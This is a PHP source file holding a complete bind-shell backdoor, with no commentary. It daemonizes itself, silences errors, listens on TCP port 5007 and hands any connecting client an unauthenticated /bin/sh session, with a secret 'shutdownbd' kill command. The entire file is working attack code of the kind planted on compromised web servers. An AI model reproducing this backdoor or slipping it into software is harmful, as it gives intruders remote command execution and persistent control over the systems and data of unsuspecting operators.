<? php

error_reporting(0);
set_time_limit(0);

define('LISTEN_PORT', '5007');
define('TIMEOUT_SECONDS', 15 * 60); // timeout for the client connection
define('SHUTDOWN_CMD', 'shutdownbd'); // shuts down the daemon when the client sends this
define('USLEEP_COMMAND_WAIT', 100000); // how much to halt in the loop for reading commands from the client
define('USLEEP_NEWUSER_WAIT', 1000000); // how much to halt in the loop for receiving connections
define('FANCY_SHELL', 0); // 1 or 0; fancy shell is `whoami`@`uname -n`:`pwd`$
define('BUF_SIZ', 2048);
define('FD_WRITE', 0);
define('FD_READ', 1);
define('FD_ERR', 2);

if (function_exists('pcntl_fork') === false) {
    die('PCNTL functions not available on this PHP installation');
}

function my_socket_close($socket) {
    socket_shutdown($socket);
    socket_close($socket);
}

class Client {

    private $socket;

    public function __construct($socket) {
        socket_set_nonblock($socket);
        $this->socket = $socket;
    }

    public function __destruct() {
        my_socket_close($this->socket);
    }

    public function Send($msg) {
        return socket_write($this->socket, $msg, strlen($msg));
    }

    public function Read() {
        return socket_read($this->socket, BUF_SIZ);
    }

}

class Shell {

    private $cmd;
    private $pipes;

    public function __construct() {
        $cmd = proc_open("/bin/sh", array(array("pipe", "r"),
array("pipe", "w"), array("pipe", "w")), $pipes);
        if ($cmd !== false) {
            foreach ($pipes as $pipe) {
               
stream_set_blocking($pipe, 0);
            }
            $this->pipes = $pipes;
            $this->cmd = $cmd;
        } else {
            throw new Exception
("Couldn't run /bin/sh.");
        }
    }

    public function __destroy() {
        foreach ($this->pipes as $pipe) {
            fclose($pipe);
        }
        proc_close($this->cmd);
    }

    public function SendCMD($msg) {
        $msg = $msg . "\n";
        fwrite($this->pipes[FD_WRITE], $msg, strlen($msg));
    }

    public function Read() {
        return $this->recv($this->pipes[FD_READ]);
    }

    public function ReadErr() {
        return $this->recv($this->pipes[FD_ERR]);
    }

    public function GetShell() {
        if (FANCY_SHELL === 0) {
            return '$ ';
        }
       
        $this->SendCMD("whoami;");
        do {
            $whoami = $this->Read();
        } while (strlen($whoami) === 0);

        $this->SendCMD("uname -n;");
        do {
            $uname = $this->Read();
        } while (strlen($uname) === 0);

        $this->SendCMD("pwd;");
        do {
            $pwd = $this->Read();
        } while (strlen($pwd) === 0);

        return trim($whoami) . "@" . trim($uname)
. ":" . trim($pwd) . "$ ";
    }

    private function recv($pipe) {
        do {
            $buf = fgets($pipe, BUF_SIZ);
            if (isset($buffer) === false) {
                $buffer = $buf;
            } else {
                $buffer .= $buf;
            }
        } while ($buf !== false);

        return $buffer;
    }

}

$master_socket = socket_create_listen(LISTEN_PORT);

if ($master_socket !== false) {
    $pid = pcntl_fork();

    if ($pid) {
        exit;
    }

    posix_setsid();

    socket_set_nonblock($master_socket);

    $pids = array();

    while (true) {
        $new_socket = socket_accept($master_socket);

        if ($new_socket !== false) {
            $pids[] = pcntl_fork();

            $current_pid = $pids[count($pids) - 1];

            if ($current_pid === 0) {
                $client = new Client($new_socket);

                $shell = new Shell();

                $client->Send($shell->GetShell());

                $timeout = time();
                do {
                    if (time() - $timeout > TIMEOUT_SECONDS) {
                        break;
                    }

                    $command = $client->Read();
                    $command = trim($command);

                    $show_shell = false;

                    if ($command === ';') {
                        $command  = '';
                        $show_shell = true;
                    }

                    if (strlen($command) !== 0) {
                        if ($command === SHUTDOWN_CMD) {
                            break 2;
                        }

                        if (substr($command, -1) !== ';') {
                            $command .= ';';
                        }

                        $shell->SendCMD($command);

                        $timeout = time();
                    }

                    $buffer = $shell->Read();
                    if ($buffer !== false) {
                        $is_read = true;
                        $client->Send($buffer);
                        $show_shell = true;
                    }

                    $errbuf = $shell->ReadErr();
                    if ($errbuf !== false) {
                        $is_read = true;
                        $client->Send($errbuf);
                        $show_shell = true;
                    }

                    if ($show_shell === true) {
                        $client->Send($shell->GetShell());
                    }

                    usleep(USLEEP_COMMAND_WAIT);
                } while ($command !== 'exit;');

                unset($shell, $client);
                exit;
            }
        }
        usleep(USLEEP_NEWUSER_WAIT);
    }
   
    foreach ($pids AS $pid) {
        posix_kill($pid, SIGKILL);
    }

    my_socket_close($master_socket);
}
else {
    echo "Can't bind socket to port " . LISTEN_PORT . '.' . PHP_EOL;
}
?>